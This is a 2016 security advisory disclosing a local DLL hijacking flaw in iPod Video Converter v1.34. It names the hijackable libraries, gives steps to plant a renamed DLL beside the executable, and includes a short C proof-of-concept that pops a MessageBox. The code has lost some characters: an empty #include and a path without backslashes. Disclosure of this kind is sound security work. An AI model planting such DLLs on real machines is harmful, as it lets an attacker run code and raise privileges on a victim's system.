Document Title: =============== iPod Video Converter v1.34 - DLL Hijacking Exploit References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=1961 Release Date: ============= 2016-09-28 Vulnerability Laboratory ID (VL-ID): ==================================== 1961 Common Vulnerability Scoring System: ==================================== 4.1 Product & Service Introduction: =============================== iPod Video Converter is a free and powerful iPod video and movie converter software which provides an easy way to convert any movie to iPod video. iPod Video Converter helps you watch music video and movies on your video iPod with only a few clicks. iPod Video Converter is compatible with the latest iPod Touch and with the iPhone. (Copy of the Vendor Homepage: http://www.reganam.com/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local dll hijacking issue in the official iPod Video Converter v1.34 software. Vulnerability Disclosure Timeline: ================================== 2016-09-29: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Jodix Technologies Product: iPod Video Converter - Software 1.34 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official iPod Video Converter v1.34 software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] Ipod Video Converter Vulnerable Libraries: [+] msvcr71.dll [+] msvcp71.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to msvcr71.dll or msvcp71.dll 2. Copy msvcr71.dll or msvcp71.dll to C:Program Filesipodconverter2012ipod-converter.exe 3. Launch ipod-converter.exe 4. MessageBox Executed -- PoC Exploit -- #include #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } Security Risk: ============== The security risk of the dll hijacking issue in the dynamic link libraries (dll) is estimated as medium. (CVSS 4.1) Credits & Authors: ================== ZwX - (http://zwx.fr) [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™